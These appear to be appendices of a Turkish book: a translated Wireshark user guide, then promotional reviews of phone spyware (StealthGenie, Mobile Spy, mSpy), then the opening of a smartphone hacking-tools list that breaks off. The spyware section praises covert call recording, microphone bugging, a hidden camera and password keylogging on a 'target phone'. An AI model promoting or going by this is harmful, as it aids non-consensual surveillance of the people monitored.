Seçilen paketin ayrıntılı bilgisini görüntüler.<br />

Paket Bayt Panosu<br />

Paket Liste panosundan seçilen paketin paket ayrıntıları<br />

panosundaki seçilen alanının baytlarını gösterir.


Durum Satırı<br />

O anki program durumu hakkında kısa ama ayrıntılı bilgi<br />

verir.<br />

Özellikler seçeneği ile ana pencerede görüntülenenleri değiştirme<br />

olanağı vardır.<br />

Ana Pencerede Dolaşım<br />

Paket listesi ve ayrıntılı dolaşım tümüyle tuş takımından yapılabilir.<br />

Aşağıda tuş takımından kullanılabilecek komutlar ve anlamları yer<br />

almaktadır.<br />

Tab, Shift+Tab<br />

Aşağı Ok<br />

Yukarı Ok<br />

Ekrandaki ögeler arasında dolaşımı belirtir. Tab ileriye gidiş<br />

Shft+Tab geri gidişler içindir.<br />

Bir sonraki pakete ya da ayrıntı alanına gidiş demektir.<br />

Bir önceki pakete ya da ayrıntı ögesine geçiş demektir.<br />

Ctrl+Aşağı OK, F8<br />

Paket listesi önde değilse bile bir sonraki pakete geçmek için<br />

kullanılır.<br />

Ctrl+Yukarı Ok, F7<br />

Ctrl+.<br />

Ctrl+,<br />

Sol Ok<br />

Sağ Ok<br />

Paket listesinde önceki pakete geçmek için kullanılır.<br />

Görüşmenin (TCP, UDP, IP) bir sonraki paketine geçişi sağlar.<br />

Görüşmenin (TCP, UDP, IP) bir önceki paketine geçişi sağlar.<br />

Paket ayrıntılarında seçilen ağaç ögesini kapatır. Eğer kapalıysa<br />

baba rolündeki düğüme zıplar.<br />

Paket ayrıntılarında seçilen ağaç ögesini açar.<br />

Shift+Sağ Ok<br />

Paket ayrıntılarında seçilen ağaç ögesini açar ve onun tüm alt<br />

ağaçlarını da açar.


Ctrl+Sağ Ok<br />

Paket Ayrıntılarında ağaç ayrıntılarının tümünü açar.<br />

Ctrl+Sol Ok<br />

Paket Ayrıntılarında tüm ağaç ayrıntılarını kapatır.<br />

Backspace<br />

Paket Ayrıntılarında bir üsteki düğüme atlar.<br />

Return, Enter<br />

Paket Ayrıntılarında seçilen ağaç ögesini tetikler.<br />

Ek olarak ana menünün herhangi bir yerinden tuşlara basılınca<br />

görüntü filitresi alanına bilgi girmeye başlanmış olunur.<br />

Ana Menü<br />

Wireshark Menü, Wireshark penceresinde bulunur. Örnek menü<br />

aşağıda gösterilmiştir:<br />

Eğer menü seçeneğindeki özellik o kurulumda kullanılabilir durumda<br />

değilse grileştirilir. Örneğin daha önce bir veri yakalamamışsanız<br />

Saklama yapamazsınız.<br />

Menüde bulunan seçenekler şunlardır:<br />

File (Dosya)<br />

Bu seçenek yakalanan verileri açma (open), birleştirme (merge),<br />

saklama (save) / yazdırma (print) / idışa verme (export) tümü ya<br />

da bir parçası için yapacak işlemlerden oluşur. Wireshark<br />

işlemini bitirme (quit, exit) bu seçenekler arasındadır.


Edit (Düzenleme)<br />

Bu seçenek bir paketi bulma, zaman referansini ya da bir ya da<br />

daha çok paketi işaretlemeyi, ayar profillerini ele almayı gibi alt<br />

seçenekleri belirtir. Ayrıca sizin kullanımınıza özel ayar<br />

seçenekleri (özellikler) de burada ele alınır.


View (Göster)<br />

Bir paketi bulmaya yarayacak ögelerden oluşur. Paketlerin<br />

renklendirilmesi, yakınlaştırma, uzaklaştırma, paketleri ayrı bir<br />

pencerede gösterme paket ayrıntılarında ağaçları açıp kapama<br />

burada yer alan seçeneklerdir.


Go (Git)<br />

Bu menü özel bir pakete gidecek ögeden oluşur.


Capture (Yakala)


Bu menü yakalamayı başlatma ve durdurma işlemini yapmanızı<br />

sağlar.


Analyze (Analiz/İnceleme)<br />

Bu menü seçeneğinde görüntü filitrelerini değiştirme, açma,<br />

kapama, protokolların parçalara ayrılması, kullanıcının<br />

tanımladığı kod açma yöntemleri ve TCP akışını izleme bulunan<br />

alt ögelerdir.


Statistics (İstatistikler)<br />

Bu seçenekte yer alan ögeler çeşitli istatistik pencereleri<br />

açılmasını (yakalanan paketlerin özeti dahil olmak üzere),<br />

protokol sıradüzeni (hierarchy) istatistiklerini ve bir çok diğer<br />

şeylerin sayısal incelemelerini içerir.


Telephony (Telefon)<br />

Bu menü telefona dayalı istatistik verileri görüntülemekte<br />

kullanılır. Ortam analizleri, akış çizelgeleri, protokol sıradüzen<br />

istatistikleri ve bir çoğu burada yer alır.


Tools (Araçlar)<br />

Wireshark'a bulunan bir çok aracı içerir.


Internals (Dahili)<br />

Wireshark'ın dahili bilgilerini açıklayan ögeleri içerir.


Help (Yardım)<br />

BU menü ögeleri kullanıcıya yardım sağlamak içindir. Bazı temel<br />

yardım bilgilerine erişim, el kitabı bilgilerine erişim ve çeşitli<br />

komut satırı araçların kullanımı, web sayfalarına erişim ve<br />

Hakkımızda sayfası burada yer alır.


Bu menü ögeleri izlenen menü seçeneği alt menülerinde de anlatılır.<br />

Menü ögelerine hızlandırıcı anahtar tuş bilgileri (accelerator keys) ile<br />

de doğrudan erişilebilir.<br />

Canlı Ağ Verisini Yakalama<br />

GİRİŞ<br />

Canlı ağ verisini yakalama Wireshark'ın en önemli işlevlerinden biridir.<br />

Wireshark yakalama makinesi aşağıdaki özellikleri sağlar:<br />

Değişik ağ donanımlarından veri toplayabilir (Ethernet, Token<br />

Ring, ATM gibi)<br />

Değişik tetikleme koşullarına göre yakalamayı durdurabilir.


Yakalanan verinin miktarı, yakalama zamanı, yakalanan paket<br />

sayısı.<br />

Yakalama devam ederken aynı anda paketleri gösterebilme.<br />

Yakalama devam ederken gösterilen paketlerin açılması.<br />

Yakalanacak veri miktarını paketleri filitreleyerek azaltmak.<br />

Uzun dönem yakalama yaparken yakalananları bir çok dosyaya<br />

dağıtarak saklamak.<br />

Aynı anda birden çok ağ arayüzünden veri yakalamak.<br />

Ama yakalama makinesi tüm bunlara rağmen aşağıdakilerden<br />

yoksundur:<br />

Ön Koşullar<br />

Yakalanan veri içindeki bir koşula göre yakalamayı durdurmak.<br />

İlk kez veri yakalamak için ayar yapmak biraz hilelidir. Aşağıda bazı<br />

tuzaklardan söz edilmiştir.<br />

Canlı yakalama yapmak için root/Administrator yetkiniz olmalıdır.<br />

Paket verilerini yakalayacağınız doğru arayüzü seçmelisiniz.<br />

Görmek istediğiniz trafiği görmek için doğru yeri seçmelisiniz.<br />

Yakalamada sorun olursa araylara bakmanız gerekir.<br />

Yakalamayı Başlatma<br />

Aşağıdaki yöntemlerden biri kullanılarak yakalama başlatılabilir.<br />

Yerel arayüzü hakkında bilgi edinmek için önce “Capture<br />

Interface” (Yakalam Arayüzü) penceresini kullanmak gerekir.<br />

Yakalama bu penceredeki yakalama düğmelerinden birini<br />

kullanarak başlayabilirsiniz.


Yakalamaya “Capture Options” (Yakalama Seçenekleri)<br />

penceresiyle başlayabilirsiniz.<br />

Eğer seçenekleri doğru doldurmuşsanız hemen yakalama<br />

işlemine başlayabilirsiniz. “Yakalama Başlatma” menüsü araç<br />

çubuğundaki ögeyi kullanarak yakalama başlar.<br />

Eğer yakalama arayüzünün adını zaten biliyorsanız Wireshark'ı<br />

komut satırından “wireshark -i eth0 -k” yazarak da


aşlatabilirsiniz.<br />

Yakalama Arayüzü Penceresi<br />

Yakalama menüsünden Arayüzler seçilince Wireshark “Capture<br />

Interface” (Yakalama arayüzü) penceresini açar. Burada bir çok sistem<br />

kaynağı kullanıldığından hemen kapatmakta yarar vardır. Burada<br />

yalnız wireshark tarafından bilinen yerel arayüzler gösterilir. Gizli<br />

arayüzler gösterilmez. Aynı anda birden çok arayüzden bilgi<br />

yakalamak söz konusu olduğundan “toggle” düğmesi bir ya da daha<br />

çok arayüz seçmek için kullanılabilir.<br />

Device Cihaz (Unix/Linux)<br />

Arayüz cihaz adı<br />

Description (açıklama)<br />

IP<br />

Cihaz açıklaması<br />

Bu arayüz için programın bulacağı ilk IP numarası. Ethernet'e<br />

bağlı adresler arasında dönerek arama da yapılabilir.<br />

Packets (Paketler)<br />

Packets/s<br />

Stop<br />

Start<br />

Bu arayüzden yakalanacak paket sayısı.<br />

Son saniyede yakalanan paket sayısı<br />

Yakalamayı durdur.<br />

Yakalamayı başlat<br />

Seçenekler Penceresi<br />

Options (Seçenekler)<br />

Yakalama seçenekleri penceresini seçilen arayüz için açma.<br />

Details (Ayrıntılar Yalnız MS Windows için)<br />

Bu arayüz için ayrıntılı açıklamayla seçenek penceresi açma.<br />

Help (Yardım)<br />

Yardım sayfasını görüntüleme.<br />

Close (Kapatma)<br />

Pencereyi kapatma.


Yakalama Seçenekleri Penceresi<br />

Yakalama menüsünden seçenekler seçildiğinde, program “Yakalama<br />

Seçenekleri” penceresini açar. Hangisini seçeceğinizi bilmiyorsanız<br />

varsayılanları olduğu gibi bırakabilirsiniz.<br />

Yakalama Çerçevesi<br />

Tüm var olan arayüzlerinin ayarlarını gösterir.<br />

Arayüzün adı ve IP adresi. Sistemden seçilebilen yoksa “none”<br />

(hiçbiri) gösterilir.<br />

Bağlantı katmanı başlık tipi<br />

“promicuous” (ayrım gözetmeyen) konum açık mı kapalı mı<br />

bilgisi<br />

Her pakette yakalanacak en çok veri boyu (varsayılan 65535)<br />

Yakalanan paketleri saklayacak Kernel tampon alanının boyu.<br />

(Unix/Linux için) Paketler yalnız izleme konumundayken mi<br />

yakalanır.<br />

Seçilen yakalama filitresi.<br />

İlk kolondaki onay kutularını (checkbox) işaretleyerek yakalanacak<br />

veri paketleri için seçilir. Arayüz iki kez tıklanınca “Edit Interface<br />

Settings” (Arayüz ayarlarını Düzenleme) penceresi açılır.<br />

Tüm arayüzlerinden yakala<br />

Çoklu arayüzden yakalama yapılır. Var olan arayüzlerinden<br />

istenilenler seçilebilir.<br />

Tüm paketleri ayrım gözetmeden yakala<br />

Yakalama yaparken tüm arayüzlerini ayrım gözetmeyen konuma<br />

getirir.<br />

Yakalama Filitresi<br />

Yakalama filitresi belirtmeye yarar. Seçilen arayüzlerinden gelen<br />

paketlerden filitrden geçenler yakalanır.<br />

“Capture Filter” (Filitre yakalama düğmesine basarak da filitre<br />

penceresinin açılması sağlanabiliir.<br />

RPF'lerden seçilenleri derleme<br />

Bu düğme yakalama filitresini RPF koduna çevirir ve açılan


pencerede kodun nasıl yazıldığı gösterilir. Bunun yararı yaratılan<br />

filitrenin nasıl olduğunun anlaşılabilmesidir.<br />

Arayüzleri Yönetme<br />

Bu düğme sizi yeni arayüz ekleme penceresine götürür. “Pipe”<br />

tanımları yapılır, yerel arayüzler taranır ya da uzak arayüzleri<br />

eklenir.<br />

Yakalama Dosyaları Çerçevesi<br />

Bu çerçevede yer alan bilgi alanları şöyledir.<br />

Dosya (File)<br />

Yakalama Dosyası olarak kullanılacak dosya adı buraya yazılır.<br />

Varsayılan olarak alan boştur. Boş dosya adı, yakalanan verilerin<br />

geçici bir dosyada tutulduğunu anlatır. Dosya sisteminde tarama<br />

yapmak istenirse alanın yanındaki düğme kullanılmalıdır.<br />

Çoklu dosya kullanma<br />

Bir dosya kullanma yerine, belirli bir noktaya gelinmişse (paket<br />

sayısı gibi) program otomatik olarak bir yenisine geçer.<br />

Pcap-ng kalıbı kullan<br />

Bu onay kutusu programın yakalanan paketleri pcap-ng kalıbında<br />

saklamasını sağlar. Bu sonraki kuşak paket saklama yöntemi<br />

yeni geliştirilmiştir. Eğer birden çok arayüz yakalama için<br />

seçilmişse bu onay kutusu varsayılan olarak seçilir.<br />

Her n bayt sonra yeni dosya<br />

Bir dosya n bayt olduktan sonra yeni dosyaya geçilir.<br />

Her n dakika sonra yeni dosya<br />

Verilen süre geçince yeni dosyaya geç.<br />

N dosyayla tamponu döndür<br />

Verilen sayıdan dosya dolunca yakalamaya ilk dosyadan başla.<br />

N dosyadan sonra yakalamayı durdur.<br />

Verilen sayıda dosya oluştuktan sonra yakalamayı durdur.<br />

Yakalamayı durdurma çerçevesi<br />

...n paket sonra<br />

...n megabsyt sonra<br />

...n dakika sonra


Görüntüleme Seçenekleri Çerçevesi<br />

Gerçek zamanlı paket listesini güncelleme<br />

Programın paket listesi panosunu gerçek zamanlı<br />

güncelleyebileceği belirtilir. Normalde program yakalanan<br />

paketleri yakalama bitmeden göstermez. Programın yakalama<br />

işlemi ayrı, görüntüleme işlemi ayrıdır.<br />

Canlı yakalamada otomatik liste kaydırma (scroll)<br />

Yeni paketler geldikçe bu seçenek paket listesinin kaydırılacağını<br />

anlatır. Belirtilmezse program gelen paketleri listenin sonuna<br />

ekler ve panoyu kaydırmaz.<br />

Yakalama Bilgisini Saklama<br />

Bu seçenek işaretlendiğinde yakalama bilgisi penceresi kapanır.<br />

Ad Çözümleme Çerçevesi<br />

MAC ad çözümlemeyi aç<br />

MAC adresleri adlara çevirmeyi sağlar.<br />

Ağ ad çözümlemeyi aç<br />

Ağ adreslerini adlara çevirme işlemidir.<br />

Taşıma adlarının çözümlenmesi<br />

Program taşıma adreslerini protokol adlarına çevirir.<br />

Düğmeler<br />

Değerleri ayarladıktan sonra işleme başlamak için “Start” tuşuna<br />

basılır. Ya da “Cancel” tuşuna basılarak işlem kesilir.<br />

Yakalamayı başlatınca, durdurmak için “Stop” tuşuna basılır.<br />

Edit (Düzeltme Arayüzü Ayarları Penceresi<br />

Eğer seçilmiş arayüzü üzerinde iki kez tıklarsanız Düzeltme penceresi<br />

açılır<br />

IP adresi<br />

Bağlantı katmanı başlık tipi<br />

Kablosuz bağlantı ayarları (windows)<br />

Uzaktaki arayüz ayarları (windows)<br />

Paketleri ayırım gözetmeden yakalama konumu


n bayt sonra paketi sınırla<br />

Tampon alan boyu (n megabayt)<br />

Paketleri izleme konumunda yakalama (Unix/Linux)<br />

Yakalama filitresi<br />

BRF Derleme<br />

Derleme Sonuçları penceresi<br />

Seçilen arayüzün derleme sonuçları burada gösterilir.


Yeni arayüzler ekleme penceresi<br />

Pipe ekle ya da çıkart<br />

Yerel arayüzü ekle ya da sakla<br />

Uzaktaki arayüzü ekle ya da çıkart<br />

Uzaktaki Yakalama Arayüzü


Yerel arayüz üzerinden yakalama yapılırken, ağ dışındaki yakalama<br />

arka plan programına ya da servisine erişip oradan veri yakalar.<br />

Bu pencere yalnız Microsoft windows'da geçerlidir.Linux/Unix<br />

ortamında aynısına ssh üzerinden güvenli bir şekilde erişebilirsiniz.<br />

Uzaktan Paket Yakalama Protokol Servisi karşı tarafta çalışır durumda<br />

olmalıdır. En kolayı WinPcap kurmaktır.<br />

Aşağıdaki bilgi alanları doldurulmalıdır.<br />

Host<br />

Port<br />

Sunucunun IP adresi<br />

Uzaktaki Paket Yakalama protokolünün dinlendiği kapı<br />

numrasıdır.<br />

Null Authentication<br />

Şifre denetimi istenmezse tanımlanır.<br />

Password authentication<br />

Diğer platformlara bağlanmanın normal yoludur.<br />

Uzaktan Yakalama Ayarları<br />

RPCAP trafiğini yakalama<br />

Veri göndermek için UDP kullan<br />

Örnekleme seçeneği kullanılmayacak<br />

Örnekleme seçeneği x pakette bir


Örnekleme seçeneği x milisaniyede bir<br />

Arayüz Ayrıntıları penceresi<br />

Yakalama Dosyaları ve Dosya konumları<br />

libpcap yakalama makinesiyle ağ donanımındaki paketler kernel<br />

tampon alanında bulunur. Program bu veriyi okur ve yakalama<br />

dosyalarına yazar.<br />

Yakalama dosyalarına yazarken değişik veri konumları vardır:<br />

Büyük dosyalarla çalışırken (bir kaç 100 Mbayt) işlem yavaş olabilir.<br />

Uzun dönem yakalama yapılacaksa, ya da yüksek trafiği olan bir ağda<br />

yakalama yapılacaksa “Çoklu dosya” seçeneğini düşünün. Yakalanan<br />

paketleri parçalara böler.<br />

Bazen çoklu dosya kullanımında paket bir dosyada verilerin bir kısmı<br />

diğer dosyada kalabilir. Bu durumda ikincil bölüm hatalı paket gibi<br />

yorumlanabilir.


Tek geçici dosya<br />

Kullanılan dosya adı wiresharkXXXXXX<br />

foo.cap adlı dosya kullanımı<br />

dosya adı foo.cap<br />

foo.cap çoklu dosya kullanımı<br />

foo_00001_20100205110102.cap<br />

foo_00001_20100205110318.cap<br />

foo.cap çoklu dosya dönmeli<br />

foo_00001_20100205110102.cap<br />

foo_00002_20100205110318.cap,<br />

Var olan dosya konumları<br />

Tek Geçici Dosya<br />

Tek adlandırılmış dosya<br />

Çok dosya sürekli yenilenen<br />

Çoklu dosya dönmeli<br />

Bağlantı Katmanı Başlık tipi<br />

Genel olarak bağlantı katmanı başlık tipini seçmezsiniz. Ama özel<br />

olarak seçim yapılmasının nedeni aşağıda anlatılmıştır.<br />

Eğer 802.11 cihazının BSD üzerinde verilerini yakalıyorsanız, size<br />

“Ethernet” ve “802.11” seçeneği sunabilir. Ethernet paketleri<br />

yakalanırken sahte ethernet paketleri olabilir. “802.11” için IEEE<br />

802.11 başlıkları olmalıdır.<br />

Eğer Endace DAG kartlarından yakalama yapıyorsanız, senkron seri<br />

hatta bağlı hatlarda seri “hat üzerinden PPP” ya da “Cisco HDLC”<br />

bağlantı olacaktır. Burada “Cisco HDLC” seçilmelidir.<br />

Eğer Endace DAG kartı ATM ağına bağlıysa, “RFC 1483 ATM-üzerinden-<br />

IP” ya da “Sun ham ATM” seçenekleri çıkar. Eğer yakalanan trafik<br />

yalnız “RFC 1483LLC-encapsulated IP” ise, ya da yakalanan SunATM<br />

başlıklarını desteklemeyen bir uygulama kullanılıyorsa “RFC 1483<br />

ATM-üzerinden-IP”, aksi halde “Sun ham ATM” seçilmelidir.<br />

Eğer bir ethernet cihazı üzerinden yakalama yapılıyorsa bu kez<br />

“ethernet” ya da “DOCSIS” seçenekleri vardır. Eğer Cisco kablolu


modem'den yakalama yapıyorsanız ve DOCSIS trafiği oluşuyorsa,<br />

seçim bu şekilde olmalıdır.<br />

Yakalarken Filtreleme<br />

Yakalama filtrelerinde program libpcap filtreleme dilini kullanır. Konu<br />

burada kısaca anlatılmıştır.<br />

Bir çok örnek http://wiki.wireshark.org/CaptureFilters adresinde vardır.<br />

Yakalama Seçenekleri penceresindeki bilgi alanına yakalama filitresi<br />

girilir.<br />

Filitre aşağıdaki kalıba göre hazırlanır:<br />

[not] ilkel_tanım [and|or [not] ilkel_tanım ...]<br />

Örnek:<br />

tcp port 23 and host 10.0.0.5<br />

Burada 10.0.0.5 sunucusundan gelen telnet trafiği yakalanır.<br />

Bazı ilkel tanımlar:<br />

[src|dst] host <br />

ether [src|dst] host <br />

gateway hos <br />

[src|dst] net [{mask }|[len }]<br />

[tcp|udp][src|dst] kapı <br />

less|greater <br />

ip|ether proto <br />

ether|ip broadcast|multicast<br />

relop <br />

Uzaktan otomatik Trafik Filitreleme<br />

Eğer program uzakta çalışıyorsa (SHH, X terminal sunucu ya da<br />

terminal sunucu), uzaktaki sonuçlar ağ üzerinden taşınmalıdır.Uzakta<br />

programın çalışıp çalışmadığı aşağıdaki çevre değişkenlerinin<br />

incelenmesiyle çözümlenir:<br />

SSH_CONNECTION (ssh)<br />

<br />

SHH_CLIENT (ssh)


REMOTEHOST (tcsh, others)<br />

<br />

DISPLAY (x11)<br />

[uzaktakinin adı]<br />

SESSIONNAME (terminal sunucu)<br />

<br />

Windows ortamında uzaktaki masa üstü Servis çevresi var mı diye<br />

işletim sistemine sorulur.<br />

Yakalama Çalışırken<br />

Yakalama Çalışırken “Yakalama Bilgisi” penceresi görüntülenir.<br />

Yakalanan paketler hakkında bilgi verirken, sayılan protokollar<br />

değişmez. Bu pencere gizli/görünmez olabilir.<br />

Yakalamayı durdurmak<br />

Çalışan bir yakalama aşağıdakilerden biriyle durdurulabilr:<br />

Stop düğmesine basılarak<br />

Menü seçeneği olan Capture/Stop<br />

Araç Çubuğu ögesi “stop” kullanılarak<br />

Ctrl+E hızlandırma tuşlarına basılarak<br />

“Stop” koşullarından biri oluşmuşsa yakalama otomatik<br />

durdurulur.<br />

Koşan bir yakalamayı yeniden başlatmak<br />

AYnı yakalama seçenekleriyle çalışan bir yakalama yeniden<br />

başlatılabilir. Daha önce yakalanmış paketler silinir.<br />

Restart aslında önce stop hemen sonra start ile aynıdır.<br />

Aşapıdakilerden biriyle restart tetiklenir:<br />

Menü seçeneği Capture/restart<br />

Araç Çubuğu ögesi Restart.


Ek-7<br />

TELEFON CASUS YAZILIMLARI İNCELEMELERİ<br />

Burada açıklanan inceleme bilgileri http://acisni.com/cell-phone-spy-softwarecomplete-guide/<br />

web sitesinden alınıp derlenmiştir.<br />

STEALTHGENIE<br />

Bu konuda ayrıntılar ve güncel bilgi http://acisni.com/stealthgenie1 web<br />

adresinden sağlanabilir.<br />

Aslında gerçekten çalışıp çalışmadığı konusunda şüphelere düşersiniz.<br />

Güvenli bir yazılımdır. Bu yazılım üreten firma piyasa lideridir. Bu nedenle<br />

özellikleri diğer yazılımlara göre daha fazladır. Pazardaki diğer firmalar,<br />

onları yakalamaya çalışarak yazılımlarını benzetme uğraşısı içindedirler.<br />

Yazılımın kullanılabileceği ortamlar:<br />

Android (4.4 sürüme kadar hepsi)<br />

Apple iPhone (iPhone 5 de dahil 7.0.4 sürüme kadar)<br />

BlackBerry (7.2 sürüme kadar)<br />

Yeni bir işletim sistemi çıktığında yazılım firmaları, uygulamaları onu<br />

desteklesin diye çalışmaya başlar ve çoğu zaman StealthGenie ilk sürümü<br />

çıkaran olur.<br />

Genelde SMS mesaj kayıtları, görüşme kayıtları, GPS izleme, eposta izleme<br />

web tarihçesini izleme ve hedef telefonda saklanan dosyalar olarak<br />

desteklenen temel izleme yazılımlarıdır.<br />

Ama StealthGenie birkaç ek özellikle diğerlerinin önüne geçer.<br />

Görüşme Kayıt Özelliği<br />

StealthGenie almak isteyenlerin en önemli gerekçelerinden biri bu<br />

özelliktir. Eğer bu özelliği istiyorsanız, StealthGenie seçmekte<br />

haklısınızdır. Kayıtları daha sonra PC üzerinde saklayabilirsiniz.<br />

WhatsApp ve Diğerlerini İzleme<br />

Rooted Android ve iPhone üzerinde çeşitli mesaj servisleri ve chat<br />

programları izlenebilmektedir. BlackBerry kendi ortamında<br />

izlenebilmektedir


.<br />

Gmail izleme<br />

Bir çok casus program telefondaki ana e-posta hesabını izler.<br />

StealthGenie ana e-posta hesabını ve diğer Gmail tabanlı hesapları<br />

izleyebilir.<br />

Tetikleme Kelimeleri<br />

Bazı tetikleme kelimeleri ya da telefon numaraları tanımlanabilir. Eğer<br />

herhangi bir iletişim (e-posta ya da SMS gibi) bu kelimeleri içeriyprsa<br />

(telefon numarası da dahil) uyarı mesajı üretilir. Kontrol panelinden bu<br />

uyarılara ilişkin mesajlar anında görüntülenebilir. Çocuklarınızı izlerken<br />

bu çok akıllı ve yararlı bir olanaktır.<br />

Güvenlik Özellikleri<br />

StealthGenie paketlerinin bazılarında güvenlik özelliği denen olanakları<br />

kullanmak mümkündür.<br />

Hedef telefonu uzaktan kilitleyip açabilirsiniz. Kayıp ve çalınmışsa çok<br />

kullanışlıdır.<br />

Değerli verileri başka bir ortamda saklamak ve yedeklemek. Aslında<br />

telefonda saklanan bilgilerin tümü silebilirsiniz. İş ve kişisel amaçlar<br />

için idealdir.<br />

MOBIL SPY<br />

Eski ve güvenilir bir yazılımdır. Günceldir (Şubat 2014'de bu satırlar<br />

yazılırken güncel sürümü çıkmıştır). 2003 yılından beri cep telefonları izleme<br />

yazılımı olarak kullanılmaktadır. ABD firmasıdır. Web sayfalarına<br />

bakıldığında, güncel olup olmadığı incelenebilir.<br />

Birçok cep telefonunu ve işletim sistemini desteklerler. Bugüne göre<br />

desteklenen telefon işletim sistemleri şöyledir:<br />

Android 4.4.2 sürümüne kadar<br />

iPhone 7.0.4 sürümüne kadar<br />

BlackBerry 7.1 sürümüne kadar<br />

Symbian 9.5 sürümüne kadar<br />

Web sitelerinden her zaman son destekledikleri sürümler öğrenilmelidir.<br />

Özellikleri<br />

Standart özelliklerin tümünü içerir. SMS mesajları, telefon geçmişi, GPS<br />

izleme, e-posta, web tarayıcısı geçmişi, videolar, resimler ve telefon<br />

rehberi gibi telefon dosyaları bunların arasındadır.<br />

Burada diğerlerinden farklı olan özellik, gelişmiş özelliklerin nasıl bir<br />

fiyat planına yerleştirilmiş olduğudur.


Gelişmiş Özellikler<br />

Mesajlaşma (Messenger) ve Sosyal medya izleme (Social Monitoring)<br />

ile Facebook, Twitter, WhatsApp, messenger, Windows'un güvenli<br />

kabul ettiği Live, Aol, BlackBerry, Gtalk, iPhone ve iPad için<br />

iMessenger. Diğer söyleşi (chat) ve sosyal medya listeleri başka<br />

yazılımlara göre oldukça gelişmiştir.<br />

YouTube – YouTube da izlenen tüm videoların görüntülenmesini sağlar.<br />

BlackBerry Pin Message – BlackBerry kullanıcıları için<br />

Gmail – zaman damgalı ve eposta içerikli tüm kullanıcı postalarını<br />

görüntüler.<br />

Alerts (Uyarılar) – Telefon numaraları için tetikleyici kelimeler<br />

atanabilir. Kelimelerden herhangi biri ya da telefon numarası kayıtlara<br />

girecek olursa, uyarı mesajı alınır. Gözünüzün çocuklar üzerinde olması<br />

için önemli bir özelliktir.<br />

Yüklenmiş Uygulamalar ve Uygulama engelleme – Bu özellik hedef<br />

telefondaki tüm uygulamaların listesini verir ve istenilenin<br />

engellenmesini sağlar. Bunlar ana denetim masasından<br />

yönlendirilebilir ve bunlar standart paketin parçasıdır.<br />

Uzaktan Kontrol - programın ana menusu uzaktan kontrol edilir.<br />

Telefonu kapatıp (kilitleyip) açabilirsiniz. Telefondaki verileri<br />

silebilirsiniz. SIM kart bilgilerine erişebilirsiniz. Casus yazılımı bile<br />

silebilirsiniz (artık izleme yapmayacaksanız).<br />

Ana menü bilgisi – Etkileşimli ana menu ekranında hedef telefonun<br />

tüm özelliklerini görebilirsiniz. İşlerim Sistemi sürümü, Son<br />

güncelleme, WiFi ayarları ve hatta pilin kalan gücü. Ana menüde<br />

izlenen telefonlar arasında birinden diğerine geçiş yapabilirsiniz.<br />

Verilere PC, laptop, tablet ya da cep telefonundan erişebilirsiniz.<br />

Bunlar standart paket altında sunulan özelliklerdir.<br />

Canlı (Live) Denetim Masası Özellikleri<br />

Bu eklentiyi almanız gerekmez ama almışsanız sunduğu ek özellikler<br />

aşağıda anlatılmıştır:<br />

Canlı ekran görüntüsü – hedef telefonun o anki ekran görüntüsünü alıp<br />

ne işler yapıldığını görebilirsiniz. 90 saniyelik aralıklarla yinelenir.<br />

Telefonun Çevresini kaydet – Casus böceği (dinleme cihazı) olarak<br />

kullanıp, hedef telefonun mikrofonundan çevredekiler dinlenir.<br />

Gizli Kamera – Bu yeni eklenen özelliktir. Hedef telefonla resim<br />

çekebilirsiniz. Bunu sevenler çıkabilir.<br />

Kayıtların e-postayla gönderilmesi – Ana menüde ayarlarını yaparak<br />

kayıtların verdiğiniz e-posta adresine gönderilmesini isteyebilirsiniz.<br />

Bazı özellikler atlanmış olabilir ama bu yazılımın neler yapabileceği


aşağı yukarı anlaşılmıştır. Unutulmamalıdır ki tüm özellikler tüm<br />

telefonlarda kullanılmayabilir.<br />

mSPY<br />

Buradaki bilgiler sürekli güncellenen bir incelemeden alınmıştır. Web<br />

sitelerinden her zaman güncel bilgi elde edilebilir (http://acisni.com/mspy).<br />

Hem tabletler hem de cep telefonlarında çalışır. Aşağıdaki işletim<br />

sistemleriyle kullanılabilir:<br />

Android telefon ve tabletler (4.4 sürümüne kadar)<br />

iPhone ve iPad (7.0.4 sürümüne kadar)<br />

BlackBerry (7.0 sürümüne kadar)<br />

Symbian (Nokia)<br />

Yazılım bu tür telefonların hepsinde çalışır ama web sitesindeki telefon<br />

listesinden kontrol etmek daha doğru olabilir.<br />

mSpy'dan gelişkin Özellikler<br />

mSpy SMS mesajları, görüşme kayıtları, izleme ve web tarihçesi gibi<br />

kayıtların yanı sıra aşağıdaki özellikleri de içerir:<br />

Görüşme kaydı – StealthGenie ve mSpy güvenilir görüşme kaydı<br />

saklayan iki yazılımdır. Görüşmede iletişim zayıflarsa kayıt kesilir.<br />

Android telefonlar için geçerlidir.<br />

Telefon Çevresindekileri Kayıt etme – Böcek gibi davranır ve<br />

mikrofonundan çevresinde konuşulanları kaydeter.<br />

Mesajları izleme – WhatsApp, Viber, Skype, iMessage ve Facebook<br />

Messenger etkinliklerini kayıt eder ve izler (Bu özellikler rooted<br />

Android ve iPhone/iPad cihazları için geçerlidir)<br />

Çağrı Engelleme – Telefon numaralarını tanımlar ve onlardan gelen<br />

çağrıları engelleyebilirsiniz.<br />

Web sitesi engelleme – Önceden tanımlanmış web sitelerine girişi<br />

engeller.<br />

Uygulama Engelleme – Tüm yüklenmiş uygulamaları görüp, hangilerini<br />

engelleyeceğinizi belirlersiniz.<br />

Tuş kaydı – mSpy'a özeldir. Tuşlanan herşeyin kaydını tutar. Mesajlar,<br />

şifreler, giriş bilgileri ve e-postalar bu özellikle saklanır. Şu anda yalnız<br />

Android için geçerlidir.<br />

Yönetim Özellikleri – Raporların nasıl gönderileceğine ilişkin işlemlerdir.<br />

Raporlar yalnız WiFi ile gönderilebilir. GPS aralıkları da raporlanabilir.<br />

Güvenlik özellikleri – Telefonu kilitleme, telefon bilgilerini silme, SIM<br />

değişiklik bilgisini alma, durdurma ya da uygulamayı silme bir güvenlik<br />

panelinden uzaktan yapılabilir.


Ek-8<br />

AKILLI TELEFON HACKLEME<br />

Burada anlatılanlar http://www.hackersonlineclub.com/jailbreak-ios Web<br />

sitesindeki yazılardan derlenmiştir.<br />

Hack olayında kullanılan yazılımlar (tarama ya da saldırı amaçlılar) burada kısaca<br />

anlatılmış, nereden sağlanacağı Web adresiyle gösterilmiştir.<br />

ANDROID ARAÇLARI<br />

Hacker Araç Kutusu<br />

Sızma testleri için kullanılan bir uygulamadır. Ahlaklı hacker'lar, BT<br />

yöneticileri ve Siber güvenlik uzmanları keşfetmek, kırılmaları aramak gibi<br />

amaçlarla kullanırlar.<br />

İndirmek için (https://github.com/SecurityCompass/AVDClone) adresini<br />

kullanın.<br />

AVD Klonu<br />

